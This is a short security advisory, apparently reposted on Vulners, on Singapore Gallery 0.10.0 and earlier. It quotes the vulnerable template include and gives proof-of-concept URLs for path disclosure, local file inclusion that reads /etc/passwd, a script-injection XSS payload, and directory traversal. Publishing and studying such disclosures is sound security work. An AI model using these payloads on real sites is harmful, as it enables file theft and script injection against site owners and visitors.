`Produce : singapore gallery
Versions : 0.10.0 and prior
Site : http://www.sgal.org/
Discovred By : Moroccan Security Research Team (Simo64)
Greetz : CiM-Team - dabdoub - DarkbiteX - drackanz - Iss4m - Mourad - Rachid
.:r00tkita - s4mi - Silitix - tahati - And All Friends :)
[-] Vulnerable code near lignes 16-35
<?
16 . require_once "includes/singapore.class.php";
19 . $sg = new Singapore();
35 . include $sg->config->base_path.$sg->config->pathto_current_template."index.tpl.php";
?>
[+] Full Path Disclosure :
**************************
Exemple:
http://localhost/singapore/index.php?template=simo64
Result :
Warning: main(templates/simo64/index.tpl.php): failed to open stream: No such file or directory in /home/sing/public_html/livedemo/index.php on line 35
[+] Local File Inclusion :
***************************
Proof Of Concept :
http://localhost/singapore/index.php?template=./../../../../etc/passwd%00
[+] Cross Site Scripting :
**************************
http://localhost/singapore/index.php?template=<script>alert('Moroccan Security Team');</script>
[+] Directory Traversal :
**************************
Proof Of Concept :
http://localhost/singapore/index.php?gallery=./../../../
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation